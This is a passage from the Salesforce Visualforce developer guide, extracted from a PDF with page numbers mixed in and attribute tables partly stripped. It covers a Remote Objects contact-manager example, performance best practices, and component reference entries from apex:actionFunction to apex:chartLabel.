<!-- Include jQuery and jQuery Mobile from the Mobile Pack -->
<apex:stylesheet value="{!URLFOR($Resource.MobilePack_jQuery,
'jquery.mobile-1.3.0.min.css')}"/>
<apex:includeScript value="{!URLFOR($Resource.MobilePack_jQuery,
'jquery-1.9.1.min.js')}"/>
<apex:includeScript value="{!URLFOR($Resource.MobilePack_jQuery,
'jquery.mobile-1.3.0.min.js')}"/>
<!-- Remote Objects declaration -->
<apex:remoteObjects jsNamespace="RemoteObjectModel">
<apex:remoteObjectModel name="Contact" fields="Id,FirstName,LastName,Phone">
<!-- Notes is a custom field added to the Contact object -->
<apex:remoteObjectField name="Notes__c" jsShorthand="Notes"/>
</apex:remoteObjectModel>
</apex:remoteObjects>
<head>
<title>Contacts</title>
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1.0,
user-scalable=no" />
<script type="text/javascript">
var $j = jQuery.noConflict();
// Config object with commonly used data
// This keeps some hard-coded HTML IDs out of the code
var Config = {
Selectors: {
list: '#cList',
detailFields: "#fName #lName #phone #notes #error #contactId".split("
")
},
Data: {
contact: 'contact'
}
};
// Get all contacts, and display them in a list
function getAllContacts() {
$j.mobile.showPageLoadingMsg();
var c = new RemoteObjectModel.Contact();
// Use the 'limit' operator to increase the default limit of 20
c.retrieve({ limit: 100 }, function (err, records) {
// Handle any errors
if (err) {
displayError(err);
} else {
// Empty the current list
var list = $j(Config.Selectors.list).empty();
// Now add results records to list
$j.each(records, function() {
var newLink = $j('<a>'+ this.get('FirstName')+ ' ' +
330
this.get('LastName')+ '</a>');
newLink.data(Config.Data.contact, this.get('Id'));
newLink.appendTo(list).wrap('<li></li>');
});
$j.mobile.hidePageLoadingMsg();
list.listview('refresh');
}
});
}
// Handle the Save button that appears on both
// the Edit Contact and New Contact pages
function addUpdateContact(e){
e.preventDefault();
var record = new RemoteObjectModel.Contact({
FirstName: $j('#fName').val(),
LastName: $j('#lName').val(),
Phone: $j('#phone').val(),
Notes: $j('#notes').val()
// Note use of shortcut 'Notes' in place of Notes__c
});
var cId = $j('#contactId').val();
if( !cId ) { // new record
record.create(updateCallback);
} else { // update existing
record.set('Id', cId);
record.update(updateCallback);
}
}
// Handle the delete button
function deleteContact(e){
e.preventDefault();
var ct = new RemoteObjectModel.Contact();
ct.del($j('#contactId').val(), updateCallback);
}
// Callback to handle DML Remote Objects calls
function updateCallback(err, ids){
if (err) {
displayError(err);
} else {
// Reload the contacts with current list
getAllContacts();
$j.mobile.changePage('#listpage', {changeHash: true});
}
}
// Utility function to log and display any errors
function displayError(e){
console && console.log(e);
331
$j('#error').html(e.message);
}
// Attach functions to the buttons that trigger them
function regBtnClickHandlers() {
$j('#add').click(function(e) {
e.preventDefault();
$j.mobile.showPageLoadingMsg();
// empty all the clic handlers
$j.each(Config.Selectors.detailFields, function(i, field) {
$j(field).val('');
});
$j.mobile.changePage('#detailpage', {changeHash: true});
$j.mobile.hidePageLoadingMsg();
});
$j('#save').click(function(e) {
addUpdateContact(e);
});
$j('#delete').click(function(e) {
deleteContact(e);
});
}
// Shows the contact detail view,
// including filling in form fields with current data
function showDetailView(contact) {
$j('#contactId').val(contact.get('Id'));
$j('#fName').val(contact.get('FirstName'));
$j('#lName').val(contact.get('LastName'));
$j('#phone').val(contact.get('Phone'));
$j('#notes').val(contact.get('Notes'));
$j('#error').html('');
$j.mobile.changePage('#detailpage', {changeHash: true});
}
// Register click handler for list view clicks
// Note: One click handler handles the whole list
function regListViewClickHandler() {
$j(Config.Selectors.list).on('click', 'li', function(e) {
// show loading message
$j.mobile.showPageLoadingMsg();
// get the contact data for item clicked
var id = $j(e.target).data(Config.Data.contact);
// retrieve latest details for this contact
var c = new RemoteObjectModel.Contact();
c.retrieve({
where: { Id: { eq: id } }
332
}, function(err, records) {
if(err) {
displayError(err);
} else {
showDetailView(records[0]);
}
// hide the loading message in either case
$j.mobile.hidePageLoadingMsg();
});
});
}
// And, finally, run the page
$j(document).ready(function() {
regBtnClickHandlers();
regListViewClickHandler();
getAllContacts();
});
</script>
</head>
<!-- HTML and jQuery Mobile markup for the list and detail screens -->
<body>
<!-- This div is the list "page" -->
<div data-role="page" data-theme="b" id="listpage">
<div data-role="header" data-position="fixed">
<h2>Contacts</h2>
<a href='#' id="add" class='ui-btn-right' data-icon='add'
data-theme="b">Add</a>
</div>
<div data-role="content" id="contactList">
<ul id="cList" data-filter="true" data-inset="true"
data-role="listview" data-theme="c" data-dividertheme="b">
</ul>
</div>
</div>
<!-- This div is the detail "page" -->
<div data-role="page" data-theme="b" id="detailpage">
<div data-role="header" data-position="fixed">
<a href='#listpage' id="back2ContactList" class='ui-btn-left'
data-icon='arrow-l' data-direction="reverse"
data-transition="flip">Back</a>
<h1>Contact Details</h1>
</div>
<div data-role="content">
<div data-role="fieldcontain">
<label for="fName">First Name:</label>
<input name="fName" id="fName" />
</div>
<div data-role="fieldcontain">
333
Note that although all four Remote Objects operations are demonstrated, there are only three callback handlers.
getAllContacts() calls retrieve() to load a list of contacts and provides an anonymous function for the callback. The
callback checks for errors and then iterates through the results, adding them to the page.
Similarly, showDetailView() calls retrieve() to load a single contact for the detail page, and the results are also handled
by an anonymous function.
addUpdateContact() and deleteContact() handle adding, updating, and deleting contacts. Both methods pass
updateCallback() as the callback function. updateCallback() doesnt use the results of the Remote Objects operation.
It only checks for errors, logs them to the console, and then calls getAllContacts() to refresh the page.
Transaction Boundaries
Remote Objects removes control of transaction boundaries from your code. Each Remote Objects operation (create(), update(),
and so on) is a separate transaction. Each operation succeeds or fails on its own, which can be a problem when you need to create or
334
modify multiple related objects as part of a business process. For example, if you create an invoice record and related line-item records,
each record is saved in a separate transaction. If some Remote Objects operations fail and some succeed, your data can be left in an
inconsistent state. Note that this issue isnt related to service reliability. In this example, if some of the line items fail a validation rule,
they wont be created, which leaves an incomplete invoice. Your code must clean up and try again.
In contrast, JavaScript remoting transaction boundaries are on the Apex @RemoteAction method. Its easy to create the invoice and
related line-item records inside one method, where automatic Apex transactions ensure that all records are created together or not at
all.
Handling Complexity
Applications need to manage complexity carefully. Simple contact manager or store locator pages dont have much complexity to
manage, but many business processes do. Remote Objects pairs well with JavaScript frameworks such as jQuery and AngularJS, and
those can help with the complexity of your applications user interface. Always consider separating the concerns of your application into
multiple layers and keeping them as discrete as possible. This is called separation of concerns, and its a classic software pattern and
best practice.
Consider placing your data integrity rules in triggers and validation rules. Also consider encapsulating your business process rules in
Apex code that you make accessible via @RemoteAction methods that you can use with JavaScript remoting or with SOAP or REST
services that you can use from anywhere.
335
Think carefully about what your page or application needs to do, and then choose the right tool for the job. Sometimes that tool is
Remote Objects, and sometimes its something else.
336
337
Best Practices
If your view state is affected by a large component tree, try reducing the number of components your page depends on.
Load Times
Large page sizes directly affects load times. To improve Visualforce page load times:
Cache any data that is frequently accessed, such as icon graphics.
Avoid SOQL queries in your Apex controller getter methods.
Reduce the number of records displayed on a page by:
Limiting the data coming back from SOQL calls in your Apex controllers. For example, using AND statements in your WHERE
clause, or removing null results
Taking advantage of pagination with a list controller to present fewer records per page
Lazy load Apex objects to reduce request times.
Consider moving any JavaScript outside of the <apex:includeScript> tag and placing it into a <script> tag right
before your closing <apex:page> tag. The <apex:includeScript> tag places JavaScript right before the closing
<head> element; thus, Visualforce attempts to load the JavaScript before any other content on the page. However, you should
only move JavaScript to the bottom of the page if youre certain it doesnt have any adverse effects to your page. For example,
JavaScript code snippets requiring document.write or event handlers should remain in the <head> element.
In all cases, Visualforce pages must be under 15 MB.
Multiple Concurrent Requests
Concurrent requests are long-running tasks that could block other pending tasks. To reduce these delays:
Action methods used by <apex:actionPoller> should be lightweight. Its a best practice to avoid performing DML,
external service calls, and other resource-intensive operations in action methods called by an <apex:actionPoller>.
Carefully consider the effect of your action method being called repeatedly by an <apex:actionPoller> at the interval
you specify, especially if its used on a page that will be widely distributed, or open continuously.
Increase the time interval for calling Apex from your Visualforce page. For example, when using the <apex:actionPoller>
component, you could adjust the interval attribute to 30 seconds instead of 15.
Move non-essential logic to an asynchronous code block using Ajax.
Queries and Security
By using the with sharing keyword when creating your Apex controllers, you have the possibility of improving your SOQL
queries by only viewing a data set for a single user.
Preventing Field Values from Dropping Off the Page
If your page contains many fields, including large text area fields, and has master-detail relationships with other entities, it may not
display all data due to limits on the size of data returned to Visualforce pages and batch limits. The page displays this warning: You
requested too many fields to display. Consider removing some to prevent field values from being dropped from the display.
To prevent field values from being dropped from the page, remove some fields to reduce the amount of data returned. Alternatively,
you can write your own controller extensions to query child records to be displayed in the related lists.
338
Best Practices
$Component.itemId to reference a component at the same level in the Visualforce component hierarchy, or use
$Component.grandparentId.parentId.itemId to specify a more complete component path.
339
Best Practices
340
Best Practices
</apex:column>
</apex:dataTable>
</apex:page>
When the page is rendered, the <apex:dataTable> component results in the following HTML:
<table id="thePage:theTable" border="0" cellpadding="0" cellspacing="0">
<colgroup span="2"/>
<tbody>
<tr class="">
<td id="thePage:theTable:0:firstColumn">
<span id="thePage:theTable:0:accountName">Burlington Textiles</span>
</td>
<td id="thePage:theTable:0:secondColumn">
<span id="thePage:theTable:0:accountOwner">Vforce Developer</span>
</td>
</tr>
<tr class="">
<td id="thePage:theTable:1:firstColumn">
<span id="thePage:theTable:1:accountName">Dickenson</span>
</td>
<td id="thePage:theTable:1:secondColumn">
<span id="thePage:theTable:1:accountOwner">Vforce Developer</span>
</td>
</tr>
</table>
Each table cell has a unique ID based on the ID value of the containing components. The first table cell in the first row has the ID
thePage:theTable:0:firstColumn, the second cell in the first row has the ID thePage:theTable:0:secondColumn,
the first cell in the second row has the ID thePage:theTable:1:firstColumn, and so on.
To refer to all entries in a column, you have to iterate across the table rows, referring to each <td> element that has an ID following
the format of the column.
The same type of ID generation is done for elements within the table cells. For example, the account name in the first row is generated
as a span with the ID thePage:theTable:0:accountName. Notice that ID does not include the value of the ID for the column
its in.
Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect properly.
341
Best Practices
This redirect is not limited to PDF files. You can also redirect a page to the content of any static resource. For example, you can create
a static resource that includes an entire help system composed of many HTML files mixed with JavaScript, images, and other
multimedia files. As long as there is a single entry point, the redirect works. For example:
1. Create a zip file that includes your help content.
2. Upload the zip file as a static resource named customhelpsystem.
3. Create the following page:
<apex:page sidebar="false" showHeader="false" standardStylesheets="false"
action="{!URLFOR($Resource.customhelpsystem, 'index.htm')}">
</apex:page>
When a user visits the page, the index.htm file in the static resource displays.
SEE ALSO:
Using Static Resources
342
Best Practices
Since the constructor is called before the setter, selectedValue will always be null when the constructor is called. Thus,
EditMode will never be set to true.
Methods may evaluate more than once do not use side-effects
Methods, including methods in a controller, action attributes, and expressions, may be called more than once. Do not depend on
evaluation order or side-effects when creating custom methods in a controller or controller extension.
343
Best Practices
Note: For this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL
for the page. For example:
https://Salesforce_instance/apex/facet?id=001D000000IRosz
344
Best Practices
SEE ALSO:
Using Static Resources
345
Best Practices
box, then select Remote Sites Settings. You cant reference remote resources when using Visualforce to render PDF files in an
Apex trigger. Doing so results in an exception.
SEE ALSO:
Render a Visualforce Page as a PDF File
Visualforce PDF Rendering Considerations and Limitations
346
analytics:reportChart
Use this component to add Salesforce report charts to a Visualforce page. You can filter chart data to show specific results. The component
is available in API version 29.0 or later.
Before you add a report chart, check that the source report has a chart in Salesforce app.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
body
Component[]
29.0
global
cacheAge
Long
29.0
global
cacheResults Boolean
29.0
global
developerName String
29.0
global
error
String
29.0
global
filter
String
29.0
global
column: The API name of the field that you want to filter
on.
347
analytics:reportChart
Description
Required? API
Access
Version
To get the API name of the field and the operator, make a
describe request via the Analytics REST API or Analytics Apex
Library as shown in these examples:
Analytics API
/services/data/v29.0/analytics/reports/00OD0000001ZbNHMA0/describe
hideOnError
Boolean
29.0
global
Boolean
14.0
global
reportId
String
29.0
global
29.0
global
29.0
global
showRefreshButton Boolean
size
String
tiny
348
apex:actionFunction
Description
Required? API
Access
Version
small
medium
large
huge
When not specified, the chart size is medium.
apex:actionFunction
A component that provides support for invoking controller action methods directly from JavaScript code using an AJAX request. An
<apex:actionFunction> component must be a child of an <apex:form> component.
Unlike <apex:actionSupport>, which only provides support for invoking controller action methods from other Visualforce
components, <apex:actionFunction> defines a new JavaScript function which can then be called from within a block of
JavaScript code.
Note: Beginning with API version 23 you can't place <apex:actionFunction> inside an iteration component
<apex:pageBlockTable>, <apex:repeat>, and so on. Put the <apex:actionFunction> after the iteration component,
and inside the iteration put a normal JavaScript function that calls it.
Example
<!-- Page: -->
<apex:page controller="exampleCon">
<apex:form>
<!-- Define the JavaScript function sayHello-->
<apex:actionFunction name="sayHello" action="{!sayHello}" rerender="out"
status="myStatus"/>
</apex:form>
<apex:outputPanel id="out">
<apex:outputText value="Hello "/>
<apex:actionStatus startText="requesting..." id="myStatus">
<apex:facet name="stop">{!username}</apex:facet>
</apex:actionStatus>
</apex:outputPanel>
<!-- Call the sayHello JavaScript function using a script element-->
<script>window.setTimeout(sayHello,2000)</script>
<p><apex:outputText value="Clicked? {!state}" id="showstate" /></p>
<!-- Add the onclick event listener to a panel. When clicked, the panel triggers
the methodOneInJavascript actionFunction with a param -->
<apex:outputPanel onclick="methodOneInJavascript('Yes!')" styleClass="btn">
Click Me
</apex:outputPanel>
<apex:form>
349
apex:actionFunction
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
action
12.0
global
focus
String
12.0
global
id
String
12.0
global
350
apex:actionFunction
Description
Required? API
Access
Version
immediate
Boolean
12.0
global
name
String
12.0
global
namespace
String
12.0
global
onbeforedomupdate String
12.0
global
oncomplete
String
12.0
global
rendered
Boolean
12.0
global
reRender
Object
12.0
global
status
String
12.0
global
timeout
Integer
12.0
global
351
apex:actionPoller
apex:actionPoller
A timer that sends an AJAX request to the server according to a time interval that you specify. Each request can result in a full or partial
page update.
An <apex:actionPoller> must be within the region it acts upon. For example, to use an <apex:actionPoller> with
an <apex:actionRegion>, the <apex:actionPoller> must be within the <apex:actionRegion>.
Considerations When Using <apex:actionPoller>
Action methods used by <apex:actionPoller> should be lightweight. It's a best practice to avoid performing DML, external
service calls, and other resource-intensive operations in action methods called by an <apex:actionPoller>. Consider carefully
the effect of your action method being called repeatedly by an <apex:actionPoller> at the interval you specify, especially
if it's used on a page that will be widely distributed, or left open for long periods.
<apex:actionPoller> refreshes the connection regularly, keeping login sessions alive. A page with
<apex:actionPoller> on it won't time out due to inactivity.
Example
<!--
Page -->
<apex:page controller="exampleCon">
<apex:form>
<apex:outputText value="Watch this counter: {!count}" id="counter"/>
<apex:actionPoller action="{!incrementCounter}" reRender="counter" interval="15"/>
</apex:form>
</apex:page>
/***
Controller: ***/
352
apex:actionRegion
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
action
10.0
global
enabled
Boolean
10.0
global
id
String
10.0
global
interval
Integer
10.0
global
oncomplete
String
10.0
global
onsubmit
String
10.0
global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
status
String
10.0
global
timeout
Integer
10.0
global
apex:actionRegion
An area of a Visualforce page that demarcates which components should be processed by the Force.com server when an AJAX request
is generated. Only the components in the body of the <apex:actionRegion> are processed by the server, thereby increasing
the performance of the page.
353
apex:actionRegion
Note that an <apex:actionRegion> component only defines which components the server processes during a requestit
doesnt define what areas of the page are re-rendered when the request completes. To control that behavior, use the rerender
attribute on an <apex:actionSupport>, <apex:actionPoller>, <apex:commandButton>,
<apex:commandLink>, <apex:tab>, or <apex:tabPanel> component.
See Also: Using the transient keyword
Example
<!-- For this example to render fully, associate the page
with a valid opportunity record in the URL.
For example: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 -->
<apex:page standardController="Opportunity">
<apex:form >
<apex:pageBlock title="Edit Opportunity" id="thePageBlock" mode="edit">
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
<apex:commandButton value="Cancel" action="{!cancel}"/>
</apex:pageBlockButtons>
<apex:pageBlockSection columns="1">
<apex:inputField value="{!opportunity.name}"/>
<apex:pageBlockSectionItem>
<apex:outputLabel value="{!$ObjectType.opportunity.fields.stageName.label}"
for="stage"/>
<!-Without the actionregion, selecting a stage from the picklist would cause
a validation error if you hadn't already entered data in the required name
and close date fields. It would also update the timestamp.
-->
<apex:actionRegion>
<apex:inputField value="{!opportunity.stageName}" id="stage">
<apex:actionSupport event="onchange" rerender="thePageBlock"
status="status"/>
</apex:inputField>
</apex:actionRegion>
</apex:pageBlockSectionItem>
<apex:inputfield value="{!opportunity.closedate}"/>
{!text(now())}
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
354
apex:actionStatus
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
global
immediate
Boolean
11.0
global
rendered
Boolean
10.0
global
renderRegionOnly Boolean
10.0
global
apex:actionStatus
A component that displays the status of an AJAX update request. An AJAX request can either be in progress or complete.
Example
<!--
Page: -->
<apex:page controller="exampleCon">
<apex:form>
<apex:outputText value="Watch this counter: {!count}" id="counter"/>
<apex:actionStatus startText=" (incrementing...)"
stopText=" (done)" id="counterStatus"/>
<apex:actionPoller action="{!incrementCounter}" rerender="counter"
status="counterStatus" interval="15"/>
</apex:form>
</apex:page>
/*** Controller: ***/
public class exampleCon {
Integer count = 0;
public PageReference incrementCounter() {
355
apex:actionStatus
count++;
return null;
}
public Integer getCount() {
return count;
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
for
String
10.0
global
id
String
10.0
global
lang
String
10.0
global
layout
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
356
apex:actionStatus
Description
Required? API
Access
Version
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
onstart
String
10.0
global
onstop
String
10.0
global
rendered
Boolean
10.0
global
startStyle
String
10.0
global
startStyleClass String
The style class used to display the status element at the start
of an AJAX request, used primarily to designate which CSS
styles are applied when using an external CSS stylesheet.
10.0
global
startText
String
10.0
global
stopStyle
String
10.0
global
stopStyleClass String
10.0
global
stopText
String
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
357
apex:actionSupport
Facets
Facet Name
Description
API
Version
start
The components that display when an AJAX request begins. Use this facet as an alternative 10.0
to the startText attribute. Note that the order in which a start facet appears in the body
of an actionStatus component does not matter, because any facet with the attribute
name="start" controls the appearance of the actionStatus component when the request
begins.
stop
The components that display when an AJAX request completes. Use this facet as an
10.0
alternative to the stopText attribute. Note that the order in which a stop facet appears in
the body of an actionStatus component does not matter, because any facet with the
attribute name="stop" controls the appearance of the actionStatus component when
the request completes.
apex:actionSupport
A component that adds AJAX support to another component, allowing the component to be refreshed asynchronously by the server
when a particular event occurs, such as a button click or mouseover.
See also: <apex:actionFunction>.
Example
<!-- Page: -->
<apex:page controller="exampleCon">
<apex:form>
<apex:outputpanel id="counter">
<apex:outputText value="Click Me!: {!count}"/>
<apex:actionSupport event="onclick"
action="{!incrementCounter}"
rerender="counter" status="counterStatus"/>
</apex:outputpanel>
<apex:actionStatus id="counterStatus"
startText=" (incrementing...)"
stopText=" (done)"/>
</apex:form>
</apex:page>
/*** Controller: ***/
public class exampleCon {
Integer count = 0;
public PageReference incrementCounter() {
count++;
return null;
}
358
apex:actionSupport
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
action
ApexPages.Action The action method invoked by the AJAX request to the server.
Use merge-field syntax to reference the method. For example,
action="{!incrementCounter}" references the
incrementCounter() method in the controller. If an action is
not specified, the page simply refreshes.
10.0
global
disabled
Boolean
16.0
disableDefault Boolean
10.0
global
event
String
10.0
global
focus
String
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
11.0
global
10.0
global
onbeforedomupdate String
oncomplete
String
359
apex:areaSeries
Description
Required? API
Access
Version
onsubmit
String
10.0
global
rendered
Boolean
10.0
global
reRender
Object
10.0
global
status
String
10.0
global
timeout
Integer
10.0
global
apex:areaSeries
A data series to be rendered as shaded areas in a Visualforce chart. It's similar to a line series with the fill attribute set to true, except that
multiple Y values for each X will "stack" as levels upon each other.
At a minimum you must specify the fields in the data collection to use as X and Y values for each point along the line that defines the
amount of area each point represents, as well as the X and Y axes to scale against. Add multiple Y values to add levels to the chart. Each
level takes a new color.
Note: This component must be enclosed within an <apex:chart> component. You can have multiple <apex:areaSeries>
components in a single chart, and you can add <apex:barSeries>, <apex:lineSeries>, and <apex:scatterSeries>
components, but the results might not be very readable.
360
apex:areaSeries
Attributes
Attribute Name Attribute Type
axis
String
Description
Required? API
Access
Version
Which axis this chart series should bind to. Must be one of
the four edges of the chart:
Yes
26.0
left
right
top
bottom
The axis bound to must be defined by a sibling
<apex:axis> component.
colorSet
String
26.0
highlight
Boolean
23.0
highlightLineWidth Integer
26.0
highlightOpacity String
26.0
highlightStrokeColor String
26.0
id
String
26.0
opacity
String
26.0
rendered
Boolean
26.0
rendererFn
String
26.0
showInLegend Boolean
26.0
Boolean
26.0
tips
361
global
apex:attribute
Description
Required? API
Access
Version
String
26.0
String
The field in each record provided in the chart data from which Yes
to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
26.0
yField
String
The field in each record provided in the chart data from which Yes
to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
26.0
apex:attribute
A definition of an attribute on a custom component. The attribute tag can only be a child of a component tag.
Note that you cannot define attributes with names like id or rendered. These attributes are automatically created for all custom component
definitions.
Example
<!-- Page: -->
<apex:page>
<c:myComponent myValue="My component's value" borderColor="red" />
</apex:page>
<!-- Component:myComponent -->
<apex:component>
<apex:attribute name="myValue" description="This is the value for the component."
type="String" required="true"/>
<apex:attribute name="borderColor" description="This is color for the border."
type="String" required="true"/>
<h1 style="border:{!borderColor}">
<apex:outputText value="{!myValue}"/>
</h1>
</apex:component>
362
apex:attribute
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
access
String
14.0
assignTo
Object
12.0
global
default
String
13.0
global
description
String
12.0
global
encode
Boolean
15.0
id
String
12.0
global
name
String
12.0
global
required
Boolean
12.0
global
type
String
Yes
The Apex data type of the attribute. If using the assignTo
attribute to assign the value of this attribute to a controller
class variable, the value for type must match the data type of
12.0
global
363
apex:axis
Description
Required? API
Access
Version
the class variable. Only the following data types are allowed
as values for the type attribute:
Primitives, such as String, Integer, or Boolean.
sObjects, such as Account, My_Custom_Object__c, or
the generic sObject type.
One-dimensional lists, specified using array-notation, such
as String[], or Contact[].
Maps, specified using type="map". You don't need to
specify the map's specific data type.
Custom Apex types (classes).
apex:axis
Defines an axis for a chart. Use this to set the units, scale, labeling, and other visual options for the axis. You can define up to four axes
for a single chart, one for each edge.
Note: This component must be enclosed within an <apex:chart> component.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Numeric" position="right" fields="data3"
title="Revenue (millions)"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
<apex:chartLabel rotate="315"/>
</apex:axis>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="right"
xField="name" yField="data3"/>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"/>
</apex:chart>
Attributes
Attribute Name Attribute Type
dashSize
Integer
Description
Required? API
Access
Version
364
23.0
apex:axis
Description
Required? API
Access
Version
fields
String
23.0
grid
Boolean
23.0
gridFill
Boolean
23.0
id
String
23.0
margin
Integer
26.0
maximum
Integer
The maximum value for the axis. If not set, the maximum is
calculated automatically from the values in fields.
23.0
minimum
Integer
The minimum value for the axis. If not set, the minimum is
calculated automatically from the values in fields.
23.0
position
String
The edge of the chart to which to bind the axis. Valid options Yes
are:
23.0
left
right
top
bottom
gauge
radial
The first four positions correspond to the edges of a standard
linear chart. "gauge" is specific to an axis used by
<apex:gaugeSeries>, and "radial" is specific to an axis
used by <apex:radarSeries>.
rendered
Boolean
365
23.0
global
apex:barSeries
Description
Required? API
Access
Version
steps
Integer
26.0
title
String
23.0
type
String
Specifies the type of the axis, which is used to calculate axis Yes
intervals and spacing. Valid options are:
23.0
apex:barSeries
A data series to be rendered as bars in a Visualforce chart. At a minimum you must specify the fields in the data collection to use as X
and Y values for each bar, as well as the X and Y axes to scale against. Add multiple Y values to add grouped or stacked bar segments
to the chart. Each segment takes a new color.
Note: This component must be enclosed within an <apex:chart> component. You can have multiple <apex:barSeries>
and <apex:lineSeries> components in a single chart. You can also add <apex:areaSeries> and
<apex:scatterSeries> components, but the results might not be very readable.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Numeric" position="right" fields="data3"
title="Revenue (millions)"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
<apex:barSeries title="Monthly Sales" orientation="vertical" axis="right"
xField="name" yField="data3">
<apex:chartTips height="20" width="120"/>
</apex:barSeries>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"/>
</apex:chart>
366
apex:barSeries
Attributes
Attribute Name Attribute Type
axis
String
Description
Required? API
Access
Version
Which axis this chart series should bind to. Must be one of
the four edges of the chart:
Yes
23.0
left
right
top
bottom
The axis bound to must be defined by a sibling
<apex:axis> component.
colorSet
String
colorsProgressWithinSeries Boolean
26.0
26.0
Integer
26.0
gutter
Integer
26.0
highlight
Boolean
23.0
highlightColor String
26.0
highlightLineWidth Integer
26.0
highlightOpacity String
26.0
367
apex:barSeries
Description
Required? API
Access
Version
highlightStroke String
26.0
23.0
id
String
orientation
String
Yes
23.0
horizontal
vertical
rendered
Boolean
23.0
rendererFn
String
26.0
showInLegend Boolean
23.0
stacked
Boolean
26.0
tips
Boolean
23.0
title
String
23.0
String
The field in each record provided in the chart data from which Yes
to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
23.0
xPadding
Integer
26.0
yField
String
The field in each record provided in the chart data from which Yes
to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
23.0
yPadding
Integer
26.0
368
global
apex:canvasApp
apex:canvasApp
Renders a canvas app identified by the given developerName/namespacePrefix or
applicationName/namespacePrefix value pair. The developerName attribute takes precedence if both
developerName and applicationName are set.
Requirements:
Force.com Canvas should be enabled in the organization.
Keep the following considerations in mind when using the <apex:canvasApp> component:
A development organization is an organization in which a canvas app is developed and packaged.
An installation organization is an organization in which a packaged canvas app is installed.
The <apex:canvasApp> component usage in a Visualforce page isn't updated if a canvas app's application name or developer
name is changed.
A canvas app can be deleted even if there's a Visualforce page referencing it via <apex:canvasApp> .
This example renders a canvas app by using only the developer name. If
your organization doesn't have a namespace prefix, then the
namespacePrefix attribute shouldn't be used.
Note: The canvas app is rendered within a div element, the div element id can be
retrieved by {!$Component.genContainer}.
<apex:page showHeader="false">
<apex:canvasApp developerName="canvasAppDeveloperName"/>
</apex:page>
This example renders a canvas app by using only the application name.
<apex:page showHeader="false">
<apex:canvasApp applicationName="canvasAppName"/>
</apex:page>
This example renders a canvas app by using the developer name and
namespace prefix from the organization in which the canvas app was
created.
<apex:page showHeader="false">
<apex:canvasApp developerName="canvasAppDeveloperName"
369
apex:canvasApp
namespacePrefix="fromDevOrgNamespacePrefix"/>
</apex:page>
This example renders a canvas app by using the application name and
namespace prefix from the organization in which the canvas app was
created.
<apex:page showHeader="false">
<apex:canvasApp applicationName="canvasAppName"
namespacePrefix="fromDevOrgNamespacePrefix"/>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
applicationName String
38.0
border
String
38.0
canvasId
String
38.0
containerId
String
38.0
developerName String
38.0
370
apex:canvasApp
Description
Required? API
Access
Version
38.0
String
38.0
id
String
14.0
maxHeight
String
38.0
maxWidth
String
38.0
namespacePrefix String
38.0
onCanvasAppError String
38.0
onCanvasAppLoad String
38.0
parameters
String
38.0
rendered
Boolean
14.0
scrolling
String
38.0
371
global
global
String
apex:chart
Description
Required? API
Access
Version
38.0
apex:chart
A Visualforce chart. Defines general characteristics of the chart, including size and data binding.
Example
<!-- Page: -->
<apex:chart data="{!pieData}">
<apex:pieSeries labelField="name" dataField="data1"/>
</apex:chart>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
animate
Boolean
23.0
background
String
26.0
colorSet
String
26.0
data
Object
23.0
floating
Boolean
23.0
height
String
23.0
372
apex:chart
Description
Required? API
Access
Version
Boolean
23.0
id
String
23.0
legend
Boolean
23.0
name
String
23.0
rendered
Boolean
23.0
renderTo
String
23.0
resizable
Boolean
23.0
theme
String
26.0
Salesforce
Blue
Green
Red
Purple
Yellow
373
global
apex:chartLabel
Description
Required? API
Access
Version
Sky
Category1
Category2
Category3
Category4
Category5
Category6
The default, "Salesforce", provides colors which match charts
in Salesforce reports and analytics. Use colorSet to define
your own colors for charting components.
width
String
23.0
apex:chartLabel
Defines how labels are displayed. Depending on what component wraps it, <apex:chartLabel> gives you options for affecting
the display of data series labels, pie chart segment labels, and axes labels.
Note: This component must be enclosed by a data series component or an <apex:axis> component.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year">
<apex:chartLabel rotate="315"/>
</apex:axis>
<apex:lineSeries title="Closed-Won" axis="left" xField="name" yField="data1"/>
<apex:lineSeries title="Closed-Lost" axis="left" xField="name" yField="data2"/>
</apex:chart>
